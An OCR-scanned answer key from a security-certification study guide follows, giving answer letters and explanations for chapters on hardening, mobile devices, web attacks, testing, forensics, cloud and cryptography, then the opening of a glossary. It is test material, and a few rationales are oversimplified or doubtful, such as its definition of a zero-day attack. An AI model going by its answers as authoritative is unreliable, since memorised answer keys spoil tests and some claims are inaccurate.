provides sufficient support for multilevel security and evidence 
of meeting a particular set of government requirements. The goal 
of designating operating systems as trusted was first brought 
forward by the Trusted Computer System Evaluation Criteria 
(TCSEC). 


2. b. Autorun should be disabled. 


3. c. Network DLP is installed at network egress points near the 
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perimeter. It analyzes network traffic. 


4. a. On Linux-based systems, a common host-based firewall is 
iptables, which replaces a previous package called ipchains. It 
has the ability to accept or drop packets. 


5. c. The following are all components of hardening an OS: 
=» Unnecessary applications should be removed. 
= Unnecessary services should be disabled. 
= Unrequired ports should be blocked. 


= The connecting of external storage devices and media should 
be tightly controlled, if allowed at all. 


6. b. The inherent limitation of ACLs is their inability to detect 
whether IP spoofing is occurring. IP address spoofing is a 
technique hackers use to hide their trail or to masquerade as 
other computers. A hacker alters the IP address as it appears in a 
packet to attempt to allow the packet to get through an ACL that 
is based on IP addresses. 


7. b. Management interfaces are used for accessing a device 
remotely. Typically, a management interface is disconnected 
from the in-band network and is connected to the device’s 
internal network. Through a management interface, you can 
access the device over the network by using utilities such as SSH 
and Telnet. SNMP can use the management interface to gather 
statistics from the device. 


8. a. Bluesnarfing involves unauthorized access to a device using a 
Bluetooth connection. In this case, the attacker is trying to access 
information on the device. 


9. b. A Trusted Platform Module (TPM) chip is a security chip 
installed on a computer’s motherboard that is responsible for 
managing symmetric and asymmetric keys, hashes, and digital 
certificates. This chip provides services to protect passwords, 
encrypt drives, and manage digital rights, making it much harder 
for attackers to gain access to computers that have TPM chips 
enabled. 


10. b. Attestation services allow an authorized party to detect 
changes to an operating system. Attestation services involve 
generating a certificate for the hardware that states what software 
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is currently running. The computer can use this certificate to 
attest that unaltered software is currently executing. 


Chapter 7 


1. b. Containerization is a newer feature of most mobile device 
management (MDM) software that creates an encrypted 
“container” to hold and quarantine corporate data separately 
from that of the users. This allows for MDM policies to be 
applied only to that container and not the rest of the device. 


2. a. Corporate-owned, personally enabled (COPE) is a strategy in 
which an organization purchases mobile devices, and users 
manage those devices. Organizations can often monitor and 
control the users’ activity to a larger degree than with personally 
owned devices. 


3. d. An MDM configuration profile is used to control the use of a 
device and, when applied to a device, make changes to settings 
such as the passcode settings, Wi-Fi passwords, VPN 
configurations, and more. 


4. b. Application wrappers (implemented as policies) enable 
administrators to set policies that allow employees with 
corporate-owned or personal mobile devices to safely download 
an app, typically from an internal store. 


5. a. Profiles can restrict items that are available to a user, such as 
the camera. The individual settings are called payloads, and 
payloads may be organized into categories in some 
implementations. 


6. b. Virtual network computing (VNC) technology is a graphical 
desktop sharing system that uses the Remote Frame Buffer 
(RFB) protocol to remotely control another computer. There is a 
mobile version of VNC that can be installed for this purpose. 


7. c. The product release information (PRI) is the connection 
between a mobile device and a radio. From time to time, this 
may need to be updated, and such updates may add features or 
increase data speed. 


8. b. The preferred roaming list (PRL) is a list of radio frequencies 
residing in the memory of some kinds of digital phones. It lists 
frequencies the phone can use in various geographic areas. 
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9. c. Remote wipes are instructions that can be sent remotely to a 
mobile device to erase all the data when the device is stolen or 
lost. 


10. a. Simple Certificate Enrollment Protocol (SCEP) is used to 
provision certificates to network devices, including mobile 
devices. 


Chapter 8 


1. c. Secure by default means that without changes, the application 
is secure. For example, some server products have certain 
capabilities (such as FTP), but the service has to be enabled. 
This ensures that the port is not open if it is not being used. 


2. b. This particular XSS example is designed to steal a cookie 
from an authenticated user. 


3. c. Cross-Site Request Forgery (CSRF) is an attack that causes an 
end user to execute unwanted actions on a web application in 
which he or she is currently authenticated. Unlike with XSS, in 
CSRF, the attacker exploits the website’s trust of the browser 
rather than the other way around. The website thinks that the 
request came from the user’s browser and is made by the user 
when actually the request was planted in the user’s browser. 


4. b. Input validation is the process of checking all input for things 
such as proper format and proper length. 


5. a. A SQL injection attack inserts, or “injects,” a SQL query as 
the input data from the client to the application. In this case, the 
attack is identified in the error message, and we can see a 
reference to the SELECT command as data, which indicates an 
attempt to inject a command as data. 


6. b. Fuzz testing, or fuzzing, injects invalid or unexpected input 
(sometimes called faults) into an application to test how the 
application reacts. It is usually done with a software tool that 
automates the process. 


7. c. A packet containing a long string of NOPs followed by a 
command usually indicates a type of buffer overflow attack 
called an NOP slide. The purpose is to get the CPU to locate 
where a command can be executed. 


8. a. Integer overflow occurs when an arithmetic operation attempts 
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to create a numeric value that is too large to be represented 
within the available storage space. For instance, adding 1 to the 
largest value that can be represented constitutes an integer 
overflow. The register width of a processor determines the range 
of values that can be represented. 


9. b. The Open Web Application Security Project (OWASP) is a 
group that monitors attacks, specifically web attacks. OWASP 
maintains a list of top 10 attacks on an ongoing basis. This group 
also holds regular meetings at chapters throughout the world, 
providing resources and tools including testing procedures, code 
review steps, and development guidelines. 


10. d. In this example of a buffer overflow, 16 characters are being 
sent to a buffer that is only 8 bytes. With proper input validation, 
this will cause an access violation. 


Chapter 9 


1. c. In a blind test, the testing team is provided with limited 
knowledge of the network systems and devices and performs the 
test using publicly available information only. The 
organization’s security team knows that an attack is coming. 
This test requires more effort from the testing team. 


2. d. Runtime debugging is the process of using a programming 
tool to not only identify syntactic problems in code but also 
discover weaknesses that can lead to memory leaks and buffer 
overflows. Runtime debugging tools operate by examining and 
monitoring the use of memory. 


3. b. Pivoting is a technique used by hackers and pen testers alike 
to advance from the initially compromised host to other hosts on 
the same network. It allows the leveraging of pen test tools 
installed on the compromised machine to route traffic through 
other hosts on the subnet and potentially allows access to other 
subnets. 


4. b. By configuring authentication, you can prevent routing 
updates with rogue routers. 


5. €. Malware sandboxing aims to detect malware code by running 
it in a computer-based system of some type to analyze it for 
behavior and traits that indicate of malware. One of its goals is 
to spot zero-day malware—that is, malware that has not yet been 
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identified by commercial anti-malware systems and for which 
there is not yet a cure. 


6. a. In a double blind test, the testing team is provided with limited 
knowledge of the network systems and devices using publicly 
available information. The organization’s security team does not 
know that an attack is coming. 


7. a. In black-box testing, or zero-knowledge testing, the team is 
provided with no knowledge regarding the organization’s 
network. This type of testing is the least time-consuming. 


8. b. In over-the-shoulder code review, coworkers review the code 
while the author explains his reasoning. 


9. c. Pharming is similar to phishing, but pharming actually pollutes 
the contents of a computer’s DNS cache so that requests to a 
legitimate site are routed to an alternate site. 


10. d. The steps in performing a penetration test are as follows: 
Step 1. Document information about the target system or device. 


Step 2. Gather information about attack methods against the 
target system or device. 


Step 3. Identify the known vulnerabilities of the target system or 
device. 


Step 4. Execute attacks against the target system or device to 
gain user and privileged access. 


Step 5. Document the results of the penetration test and report 
the findings to management, with suggestions for 
remedial action. 


Chapter 10 


1. a. Port scanners can be used to scan a network for open ports. 
Open ports indicate services that may be running and listening 
on a device that may be susceptible to being used for an attack. 
These tools basically ping every address and port number 
combination and keep track of which ports are open on each 
device as the pings are answered by open ports with listening 
services and not answered by closed ports. 
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2. b. Protocol analyzers, or sniffers, collect raw packets from the 
network and are used by both legitimate security professionals 
and attackers. Using such a tool, you could tell if the traffic of 
interest is encrypted. 


3. d. Fuzzers are software tools that find and exploit weaknesses in 
web applications. 


4. a. Security Content Automation Protocol (SCAP) is a standard 
that the security automation community uses to enumerate 
software flaws and configuration issues. It standardized the 
nomenclature and formats used. A vendor of security automation 
products can obtain a validation against SCAP, demonstrating 
that it will interoperate with other scanners and express the scan 
results in a standardized way. 


5. c. Only available in Windows Vista and above, the /SCANFILE 
Switch scans a file that you specify and fixes problems if they are 
found. 


6. b. Common Platform Enumerations (CPE) are methods for 
describing and classifying operating systems applications and 
hardware devices. 


7. c. Network enumerators use protocols such as ICMP and SNMP 
to gather information. WhatsUp Gold is an example of such 
software. 


8. b. Sniffers collect raw packets from the network and are used by 
both legitimate security professionals and attackers. Using such 
a tool, you could tell if the traffic of interest is encrypted. 


9. d. OllyDbg is a reverse engineering tool. Specifically, it is a 32- 
bit, assembler-level analyzing debugger for Microsoft Windows. 
Emphasis on binary code analysis makes it particularly useful in 
cases where the source is unavailable. 


10. b. Malicious individuals use RFID tools to steal proximity badge 
information from an unsuspecting employee who physically 
walks near the concealed device. 


Chapter 11 


1. d. You should not consider data size when a legal case is 
presented to a company. In e-discovery, you should consider 
inventory and asset control, data retention policies, data recovery 
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and storage, data ownership, data handling, and legal holds. 


2. c. The primary reason for having an e-discovery process is to 
provide evidence in a digital investigation. 


3. b. A data custodian should be responsible for implementing the 
controls. 


4. a. You should adopt a data retention policy of 5 years. Laws and 
regulations cannot be ignored. Adopting the longer data 
retention policy will ensure that you comply with the federal 
law. 


5. b. You need to restore two backups: Monday’s full backup and 
Thursday’s differential backup. 


6. c. After detecting the attack, the IT technician should respond to 
the incident by stopping the remote desktop session. The steps in 
incident response are as follows: 


Step 1. Detect the incident. 

Step 2. Respond to the incident. 

Step 3. Report the incident to the appropriate personnel. 
Step 4. Recover from the incident. 


Step 5. Remediate all components affected by the incident to 
ensure that all traces of the incident have been removed. 


Step 6. Review the incident and document all findings. 


7. a. The tcpdump command captures packets on Linux and UNIX 
platforms. A version for Windows, called WinDump, is also 
available 


8. a. The most likely reason that this attack was successful was that 
no one was reviewing the audit logs. 


9. a. The chain of custody is not concerned with who detected the 
evidence. The chain of custody shows who controlled the 
evidence, who secured the evidence, and who obtained the 
evidence. 


10. b. The five rules of evidence are as follows: 


= Be authentic. 
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Be accurate. 
= Be complete. 


Be convincing. 


Be admissible. 


Chapter 12 


1. a, b, d. The following analysis steps should occur: 


Step 1. Determine which applications and services access the 
information. 


Step 2. Document where the information is stored. 


Step 3. Document which security controls protect the stored 
information. 


Step 4. Determine how the information is transmitted. 


Step 5. Analyze whether authentication is used when accessing 
the information. 


= If itis, determine whether the authentication 
information is securely transmitted. 

= If itis not, determine whether authentication can be 
used. 


Step 6. Analyze enterprise password policies, including 
password length, password complexity, and password 
expiration. 


Step 7. Determine whether encryption is used to transmit data. 


= If itis, ensure that the level of encryption is appropriate 
and that the encryption algorithm is adequate. 


= If it is not, determine whether encryption can be used. 
Step 8. Ensure that the encryption keys are protected. 


2. c. You should first determine whether authentication can be 
used. Users should use authentication when accessing private or 
confidential data. 


3. a. You should consider open standards, de facto standards, and 
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de jure standards. 


4. a. Tailored commercial (or commercial customized) software is a 
new breed of software that comes in modules, which can be 
combined to arrive at exactly the components required by the 
organization. It allows for customization by the organization. 


5. d. Data isolation ensures that tenant data in a multitenant 
solution is isolated from other tenants’ data via tenant IDs in the 
data labels. 


6. c. A physical network diagram would give you the most 
information. A physical network diagram shows the details of 
physical communication links, such as cable length, grade, and 
wiring paths; servers, with computer name, IP address (if static), 
server role, and domain membership; device location, such as 
printer, hub, switch, modem, router, or bridge, as well as proxy 
location; communication links and the available bandwidth 
between sites; and the number of users, including mobile users, 
at each site. 


7. a. You should deploy a demilitarized zone (DMZ) that will 
contain only the resources that the partner organization needs to 
access. 


8. a. This concept is called data sovereignty. When an organization 
operates globally, this issue must be considered. 


9. b. You should recommend customer relationship management 
(CRM), which involves identifying customers and storing all 
customer-related data, particularly contact information and data 
on any direct contact with customers. 


10. a. You should deploy Directory Services to allow easy access to 
internal resources. 
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1. b. Because management wants a solution that does not involve 
investing in hardware that will no longer be needed in the future, 
you should contract with a public cloud service provider. 


2. d. Data isolation ensures that tenant data in a multitenant 
solution is isolated from other tenants’ data via tenant IDs in the 
data labels. 
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3. c. A private cloud is a solution owned and managed by one 
company solely for that company’s use. It provides the most 
control and security but also requires the biggest investment in 
both hardware and expertise. 


4. a. Hypervisors can be either Type 1 or Type 2. A Type 1 
hypervisor (or native, bare metal) is one that runs directly on the 
host’s hardware to control the hardware and to manage guest 
operating systems. A guest operating system thus runs on 
another level, above the hypervisor. 


5. a. In an IaaS model, the vendor simply provides access to the 
data center and maintains that access. An example of this is a 
company hosting all its web servers with a third party that 
provides everything. 


6. d. The same security issues that must be mitigated in the 
physical environment must also be addressed in the virtual 
network. 


7. a. Ina VMEscape attack, the attacker “breaks out” of a VM’s 
normally isolated state and interacts directly with the hypervisor. 
Since VMs often share the same physical resources, if the 
attacker can discover how his VM’s virtual resources map to the 
physical resources, he will be able to conduct attacks directly on 
the real physical resources. 


8. a. Hyperconvergence takes convergence a step further, utilizing 
software to perform integration without hardware changes. It 
utilizes virtualization as well. It integrates numerous services 
that are managed from a single interface. 


9. a. Secure enclaves and secure volumes both have the same goal: 
to minimize the amount of time that sensitive data is 
unencrypted as it is used. Secure enclaves are processors that 
process data in its encrypted state. This means that even those 
with access to the underlying hardware in the virtual 
environment are not able to access the data. 


10. b. A cloud security broker, or cloud access security broker 
(CASB), is a software layer that operates as a gatekeeper 
between an organization’s on-premise network and a provider’s 
cloud environment. 


Chapter 14 
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1. c. A complex password includes a mixture of upper- and 
lowercase letters, numbers, and special characters. For many 
organizations today, this type of password is enforced as part of 
the organization’s password policy. An advantage of this type of 
password is that it is very hard to crack. A disadvantage is that it 
is harder to remember and can often be very difficult to enter 
correctly. 


2. b. Password history controls the amount of time until a password 
can be reused. Password policies usually remember a certain 
number of previously used passwords. 


3. c. For Linux, passwords are stored in the /etc/passwd or 
/etc/shadow file. Because the /etc/passwd file is a text file that 
can be easily accessed, you should ensure that any Linux servers 
use the /etc/shadow file, where the passwords in the file can be 
protected using a hash. 


4. d. A hand topography scan records the peaks and valleys of the 
hand and its shape. This system is usually implemented in 
conjunction with hand geometry scans because hand topography 
scans are not unique enough if used alone. 


5. d. A vascular scan scans the pattern of veins in the user’s hand or 
face. It is based on physiological characteristics rather than 
behavioral characteristics. While this method can be a good 
choice because it is not very intrusive, physical injuries to the 
hand or face, depending on which the system uses, could cause 
false rejections. 


6. a. The false rejection rate (FRR) is a measurement of valid users 
who will be falsely rejected by the system. This is called a Type 
I error. 


7. a. The following is a list of the most popular biometric methods, 
ranked by user acceptance, starting with the methods that are 
most popular: 


1. Voice pattern 

2. Keystroke pattern 
3. Signature dynamics 
4. Hand geometry 

5. Hand print 
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6. Fingerprint 
7. Iris scan 
8. Retina scan 


8. a. A policy enforcement point (PEP) is an entity that is 
protecting the resource that the subject (a user or an application) 
is attempting to access. When it receives a request from a 
subject, it creates an XACML request based on the attributes of 
the subject, the requested action, the resource, and other 
information. 


9. d. Attestation provides evidence about a target to an appraiser so 
the target’s compliance with some policy can be determined 
before access is allowed. 


10. a. AD uses the same authentication and authorization system 
used in UNIX: Kerberos. This system authenticates a user once 
and then, through the use of a ticket system, allows the user to 
perform all actions and access all resources to which he has been 
given permission without the need to authenticate again. 
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1. c. You should encrypt the folder and all its contents. Hashing 
reduces a message to a hash value. Hashing is a method for 
determining whether the contents of a file have been changed. 
But hashing does not provide a means of protecting data from 
editing. Decryption converts ciphertext into plaintext. A digital 
signature is an object that provides sender authentication and 
message integrity by including a digital signature with the 
original message. 


2. d. A symmetric algorithm uses a private, or secret, key that must 
remain secret between the two parties. A running key cipher uses 
a physical component, usually a book, to provide the 
polyalphabetic characters. A concealment cipher occurs when 
plaintext is interspersed somewhere within other written 
material. An asymmetric algorithm uses both a public key and a 
private, or secret, key. 


3. b. The 3DES-EEE3 implementation encrypts each block of data 
three times, each time with a different key. The 3DES-EDE3 
implementation encrypts each block of data with the first key, 
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decrypts each block with the second key, and encrypts each 
block with the third key. The 3DES-EEE2 implementation 
encrypts each block of data with the first key, encrypts each 
block with the second key, and then encrypts each block again 
with the first key. The 3DES-EDE2 implementation encrypts 
each block of data with the first key, decrypts each block with 
the second key, and then encrypts each block with the first key. 


4. d. RSA is an asymmetric algorithm and should be discontinued 
because of management’s request to no longer implement 
asymmetric algorithms. All the other algorithms listed here are 
symmetric algorithms. 


5. a. ECC is not a hash function. It is an asymmetric algorithm. All 
the other options are hash functions. 


6. c. A CRL contains a list of all the certificates that have been 
revoked. A CA is the entity that creates and signs digital 
certificates, maintains the certificates, and revokes them when 
necessary. An RA verifies the requestor’s identity, registers the 
requestor, and passes the request to the CA. The OCSP is an 
Internet protocol that obtains the revocation status of an X.509 
digital certificate. 


7. c. You should enable perfect forward secrecy (PFS) on the main 
office and branch office ends of the VPN. PFS increases the 
security fora VPN because it ensures that the same key will not 
be generated by forcing a new key exchange. PFS ensures that a 
session key created from a set of long-term public and private 
keys will not be compromised if one of the private keys is 
compromised in the future. PFS depends on asymmetric or 
public key encryption. If you implement PFS, disclosure of the 
long-term secret keying information that is used to derive a 
single key does not compromise the previously generated keys. 
You should not implement IPsec because it does not protect 
against key compromise. While it does provide confidentiality 
for the VPN connection, the scenario specifically states that you 
needed to ensure that the key is not compromised. 


8. a. Crypto module is a term used to describe the hardware, 
software, and/or firmware that implements cryptographic logic 
or cryptographic processes. Several standards bodies can assess 
and rate these modules. Among them is the NIST, using the 
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Federal Information Processing Standard (FIPS) Publication 
140-2. 


9. b. An example is the Trusted Platform Module (TPM) on an 
endpoint device that stores RSA encryption keys specific to the 
host system for hardware authentication. Another example is the 
processors contained in hardware security modules. 


10. c. Secure Shell (SSH) is an application and protocol that is used 
to remotely log in to another computer using a secure tunnel. 
After a session key is exchanged and the secure channel is 
established, all communication between the two computers is 
encrypted over the secure channel. 
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1. c. While network performance may be a consideration in the 
selection of a product, it is the only issue listed here that is not a 
security issue. 


2. b. Although split tunneling allows access to the LAN and the 
Internet at the same time, it reduces the amount of bandwidth 
available to each session. You can provide better performance 
for participants by disallowing split tunneling on the VPN 
concentrator. 


3. b. Although encryption would help prevent data leakage, it 
would do nothing to stop the introduction of malware through 
the IM connection. 


4. a. Many products implement proprietary encryption, but in 
regulated industries, this type of encryption may not be legal. 
Always use the level of encryption required by your industry, 
such as Advanced Encryption Standard (AES). 


5. b. You want to select a product that uses a secure protocol. One 
example is Extensible Messaging and Presence Protocol 
(XMPP) over TLS. 


6. b. Session Initiation Protocol for Instant Messaging and Presence 
Leveraging Extensions (SIMPLE) is designed to secure presence 
traffic. 


7. c€. Sender Policy Framework (SPF) is an email validation system 
that works by using DNS to determine whether an email sent by 
someone has been sent by a host sanctioned by that domain’s 
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administrator. If it can’t be validated, it is not delivered to the 
recipient’s inbox. 


8. c. VoIP systems do not use the PBX. 


9. b. The following types of information should not be stored in a 
public cloud—based solution: 


= Credit card information 

= Trade secrets 

= Financial data 

= Health records 

= State and federal government secrets 
= Proprietary or sensitive data 

= Personally identifiable information 


10. d. Unified communication combines voice, video, email, instant 
messaging, personal assistant, and other communication features. 
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1. c. Using best practice documentation allows security personnel 
to ensure that they know what to do according to industry 
standards. 


2. a. The IETF issues RFCs. 


3. d. securiCAD focuses on threat modeling of IT infrastructures 
using a CAD-based approach where assets are automatically or 
manually placed on a drawing pane. 


4. c, d. You should give the following reasons for the increase in 
client-side attacks: 


= Client computers are not usually as protected as servers. 
= There are more clients than servers. 


5. d. A zero-day attack occurs when a security vulnerability in an 
application is discovered on the same day the application is 
released. 


6. d. Topology discovery is the process of identifying the devices 
and their connectivity relationship with one another. It entails 
attempting to create a map of the network. 


7. a. Phishing is a social engineering attack that involves sending a 
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mass email that appears to come from a trusted party, such as the 
recipient’s bank. It includes a link that purports to connect to the 
bank’s site, when in reality it is a fake site under the attacker’s 
control that appears to be identical to the bank’s site in every 
way. 


8. b. The IETF is responsible for creating requests for comments 
(RFCs) that describe research and innovations on the Internet 
and its systems. Most RFCs are submitted for peer review, and, 
once approved, are published as Internet standards. 


9. d. The FBI does not list natural disasters as one of the three 
threat actors. 


10. a. Hadoop is an open-source software framework used for 
distributed storage and processing of big data. 
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1. a. A configuration item (CI) is a uniquely identifiable subset of 
the system that represents the smallest portion to be subject to an 
independent configuration control procedure. When an operation 
is broken into individual CIs, the process is called configuration 
identification. 


2. c. When decommissioning an asset, you should back up all the 
data on the asset and ensure that the data is completely removed. 
You should shred all the hard drives in the asset only if you are 
sure you will not be reusing the asset or if the hard drives 
contain data of the most sensitive nature. 


3. d. All changes should be formally requested. The following are 
some change management guidelines: 


= Each request should be analyzed to ensure that it supports all 
goals and policies. 


= Prior to formal approval, all costs and effects of the methods of 
implementation should be reviewed. 


= After changes are approved, the change steps should be 
developed. 


= During implementation, incremental testing should occur, and 
it should rely on a predetermined fallback strategy, if 
necessary. 
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=» Complete documentation should be produced and submitted 
with a formal report to management. 


4. b. A system is actually deployed during the implementation 
stage of the SDLC. The steps in the SDLC are as follows: 


1. Initiate 

2. Acquire/develop 
3. Implement 

4. Operate/maintain 
5. Dispose 


5. a. You should now implement the disposal stage of the SDLC 
for the old system. 


6. d. As part of the initiation stage, you should assess the business 
impact of the system. 


7. c. During the acquisition stage, you should design the security 
architecture. 


8. b. A security requirements traceability matrix (SRTM) 
documents the security requirements that a new asset must meet. 


9. a. Geolocation is a device-tracking technology. 


10. d. Radio frequency identification (RFID) involves using chips 
and receivers to manage inventory. 
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1. a. The following people should be involved in the data center 
design and deployment: database administrator, network 
administrator, facilities manager, physical security manager, and 
management. 


2. b. The programmers should collaborate with the network 
administrator to determine the performance and security impact 
of the new application on the enterprise. 


3. c. The facilities manager and physical security manager are most 
likely to provide valuable information in this area. 


4. d. The sales staff’s devices are often targets for attackers. 


5. a. Database administrators should grant permission based on 
individual user accounts, not roles. 
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6. b. The business unit managers and the chief information officer 
(CIO) are most likely to be considered data owners. 


7. c. All personnel within an organization will have some level of 
security requirements and responsibilities. 


8. a, b. Departmental security policies and security awareness 
training are administrative controls. Administrative or 
management controls are implemented to administer the 
organization’s assets and personnel and include security policies, 
procedures, standards, baselines, and guidelines that are 
established by management. 

9. c, d. Biometrics and guards are physical controls. Physical 
controls are implemented to protect an organization’s facilities 
and personnel. 

10. b, c. Authentication and firewalls are technical controls. Logical, 
or technical, controls are software or hardware components used 
to restrict access. 
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Glossary 


3DES See Triple DES. 


3DES-EDE2 A triple DES mode in which each block of data is encrypted 
with the first key, decrypted with the second key, and encrypted again with 
the first key. 


3DES-EDE3 A triple DES mode in which each block of data is encrypted 
with the first key, decrypted with the second key, and encrypted with the 
third key. 


3DES-EEE2 A triple DES mode in which each block of data is encrypted 
with the first key, encrypted with the second key, and encrypted again with 
the first key. 


3DES-EEE3 A triple DES mode in which each block of data is encrypted 
three times, each time with a different key. 


3-D Secure An XML-based protocol designed to provide an additional 
security layer for online credit and debit card transactions. 


6 to 4 An IPv4-to-IPv6 transition method that allows IPv6 sites to 
communicate with each other over an IPv4 network. 


802.1x A standard that defines a framework for centralized port-based 
authentication. 


802.11e An IEEE standard created to provide QoS for packets when they 
traverse a wireless segment. 


A A DNS record that represents the mapping of a single device to an IPv4 
address. 


A See availability. 


AAAA A DNS record that represents the mapping of a single device to an 
IPv6 address. 


AC See Access Complexity. 
acceptability The likelihood that users will accept and follow a system. 


acceptance testing A type of testing used to verify whether software is 
doing what the end user expects it to do. 


Access Complexity (AC) A base metric that describes the difficulty of 
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exploiting a vulnerability. 


access control list (ACL) A list of permissions attached to an object, 
including files, folders, servers, routers, and so on. Such rule sets can be 
implemented on firewalls, switches, and other infrastructure devices to 
control access. 


access control matrix A table that consists of a list of subjects, a list of 
objects, and a list of the actions that a subject can take on each object. 


access control policy A defined method for identifying and authenticating 
users and the level of access that is granted to the users. 


Access Vector (AV) A base metric that describes how an attacker would 
exploit a vulnerability. 


accreditation The formal acceptance of the adequacy of a system’s overall 
security by management. 


accuracy The most important characteristic of biometric systems, which 
indicates how correct the overall readings will be. 


ACL See access control list. 


acquisition stage The phase of the systems development life cycle in 
which a series of activities provide input to facilitate making a decision 
about acquiring or developing a solution; the organization then makes a 
decision on the solution. 


action factor Authentication based on something a person does. 


active fingerprinting Fingerprinting tools that transmit packets to remote 
hosts and analyze the replies for clues about the replying system. 


active reader/active tag (ARAT) An RFID system in which active tags 
are woken with signals from the active reader. 


active reader/passive tag (ARPT) An RFID system in which the active 
reader transmits signals and receives replies from passive tags. 


address space layout randomization (ASLR) A technique that can be 
used to prevent memory attacks. ASLR randomly arranges the address 
space positions of key data areas. 


administrative control A security control that is implemented to 
administer an organization’s assets and personnel and includes security 
policies, procedures, standards, and guidelines that are established by 
management. 
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advanced persistent threat (APT) A hacking process that targets a 
specific entity and is carried out over a long period of time. 


AES The replacement algorithm for DES. 


after-action report A report that serves as a process for handling changes 
that must be made after an incident. 


agile model A development model that emphasizes continuous feedback 
and cross-functional teamwork. 


AIK See attestation identity key. 
AJAX See Asynchronous JavaScript and XML. 


alert fatigue The effect on the security team that occurs when too many 
false positives (alerts that do not represent threats) are received. 


alert thresholds A setting that causes an alert to be issued only when a 
specific number of occurrences of the event have occurred. 


Android fragmentation Refers to the overwhelming number of versions 
of Android that are sold. 


application sandboxing A process that entails limiting the parts of the 
operating system and user files the application is allowed to interact with. 


application security frameworks Frameworks created to guide the secure 
development of applications. 


application wrappers Policies by which administrators can allow 
employees with corporate-owned or personal mobile devices to safely 
download an app, typically from an internal store. 


application-level proxy A proxy device that performs deep packet 
inspection. 


APT See advanced persistent threat. 
AR See augmented reality. 


architecture design A process that uses data flow diagrams and 
transformation mapping to describe distinct boundaries between incoming 
and outgoing data. It uses information flowing characteristics and maps 
them into the program structure. 


ASLR See address space layout randomization. 
asset management The process of tracking the devices that an 


organization owns. 
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asset Any object that is of value to an organization, including personnel, 
facilities, devices, and so on. 


asymmetric encryption An encryption method whereby a key pair 
performs encryption and decryption. One key performs the encryption, 
whereas the other key performs the decryption. Also referred to as public 
key encryption. 


Asynchronous JavaScript and XML (AJAX) A group of interrelated 
web development techniques used on the client side to create 
asynchronous web applications. 


attestation identity key (AIK) TPM versatile memory which ensures the 
integrity of the endorsement key (EK). 


attestation A process that allows changes to a user’s computer to be 
detected by authorized parties. 


Au See Authentication. 


audit reduction tools Preprocessors designed to reduce the volume of 
audit records to facilitate manual review. 


augmented reality (AR) A view of a physical, real-world environment 
whose elements are augmented by computer-generated or extracted real- 
world sensory input such as sound, video, graphics, or GPS data. 


Authentication (Au) A base metric that describes the authentication an 
attacker would need to get through to exploit a vulnerability. 


authentication header (AH) An IPsec component that provides data 
integrity, data origin authentication, and protection from replay attacks. 


authentication period A policy that specifies how long a user can remain 
logged in. 


authentication The act of validating a user with a unique identifier by 
providing the appropriate credentials. 


author identification The process of determining software’s author. 


authorization The point after identification and authentication at which a 
user is granted rights and permissions to resources. 


automation The process of using scripting to schedule operations. 


Availability (A) A base metric that describes the disruption that might 
occur if a vulnerability is exploited. 
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availability A value that describes what percentage of the time a resource 
or data is available. The tenet of the CIA triad that ensures that data is 
accessible when and where it is needed. 


BACnet (Building Automation and Control Networks) A protocol used 
by HVAC systems. 


base A CVSS metric group of characteristics of a vulnerability that are 
constant over time and user environments. 


baseline An information security governance component that acts as a 
reference point that is defined and captured to be used as a future 
reference. Both security and performance baselines are used. 


bastion host A host that may or may not be a firewall. The term actually 
refers to the position of any device. If it is exposed directly to the Internet 
or to any untrusted network, we would say it is a bastion host. 


BCP See business continuity plan. 


benchmark An information security governance component that captures 
the same data as a baseline and can even be used as a new baseline should 
the need arise. A benchmark is compared to the baseline to determine 
whether any security or performance issues exist. 


best practices Standard procedures that have been found over time to be 
advantageous based on the industry in which the organization is engaged. 


BGP See Border Gateway Protocol. 
BIA See business impact analysis. 


big data A term for sets of data so large or complex that they cannot be 
analyzed by traditional data processing applications. 


Black Hat convention An annual conference held in Las Vegas and other 
locations in Europe and Asia that includes four days of training and two 
days of briefings, providing attendees with the latest in information 
security research, development, and trends in a vendor-neutral 
environment. 


black hat An entity with malicious intent that breaks into an 
organization’s system(s). 


black-box testing Testing in which the team is provided with no 
knowledge regarding the organization’s network. 


blind test A pen test in which the testing team is provided with limited 
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knowledge (publicly available information) of the network systems and 
devices. 


block cipher A cipher that performs encryption by breaking a message 
into fixed length units. 


blockchain A continuously growing list of records, called blocks, which 
are linked and secured using cryptography. 


block-level encryption Encryption of a disk partition or a file that is 
acting as a virtual partition. Also known as disk-level encryption. 


Blowfish A block cipher that uses 64-bit data blocks using anywhere from 
32- to 448-bit encryption keys. Blowfish performs 16 rounds of 
transformation. 


blue team The team that acts as the network defense team in a pen test. 


Bluejacking An attack in which unsolicited messages are sent to a 
Bluetooth-enabled device, often for the purpose of adding a business card 
to the victim’s contact list. 


Bluesnarfing Unauthorized access to a device using a Bluetooth 
connection. The attacker tries to access information on the device rather 
than send messages to the device. 


Bluetooth A wireless technology that is used to create personal area 
networks (PANSs) in the 2.4 GHz frequency. 


BPA See business partnership agreement. 


bring your own device (BYOD) An initiative undertaken by many 
organizations to allow the secure use of personal devices on a corporate 
network. 


browser extension or add-on A small program or script that increases the 
functionality of a website. 


brute-force attack A password attack that entails attempting all possible 
combinations of numbers and characters. 


buffer overflow An attack that occurs when the amount of data that is 
submitted is larger than the buffer allocated for it. 


Build Security In (BSI) An initiative that promotes a process-agnostic 
approach that makes security recommendations with regard to 
architectures, testing methods, code reviews, and management processes. 
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build-and-fix approach A method of developing software as quickly as 
possible and releasing it right away. This method, which was used in the 
past, has been largely discredited and is now used as a template for how 
not to manage a development project. 


business continuity plan A plan that considers all aspects that are affected 
by a disaster, including functions, systems, personnel, and facilities, and 
lists and prioritizes the services that are needed, particularly the 
telecommunications and IT functions. 


business impact analysis (BIA) A functional analysis that occurs as part 
of business continuity and disaster recovery and lists the critical and 
necessary business functions, their resource dependencies, and their level 
of criticality to the overall organization. 


business partnership agreement (BPA) An agreement between two 
business partners that establishes the conditions of the partner relationship. 


BYOD See bring your own device. 
C See Confidentiality. 


CAST-128 A block cipher that uses a 40- to 128-bit key that performs 12 
or 16 rounds of transformation on 64-bit blocks. 


CAST-256 A block cipher that uses a 128-, 160-, 192-, 224-, or 256-bit 
key that performs 48 rounds of transformation on 128-bit blocks. 


CBC See Cipher Block Chaining. 

CBC-MAC See Cipher Block Chaining MAC. 
CCE See Common Configuration Enumeration. 
CDP See Cisco Discovery Protocol. 

CERT See Computer Emergency Readiness Team. 


certificate revocation list (CRL) A list of digital certificates that a CA 
has revoked. 


certificate-based authentication Authentication based on public and 
private keys that requires the deployment of a PKI. 


certification The process of evaluating software for its security 
effectiveness with regard to the customer’s needs. 


certification authority (CA) An entity that creates and signs digital 
certificates, maintains the certificates, and revokes them when necessary. 
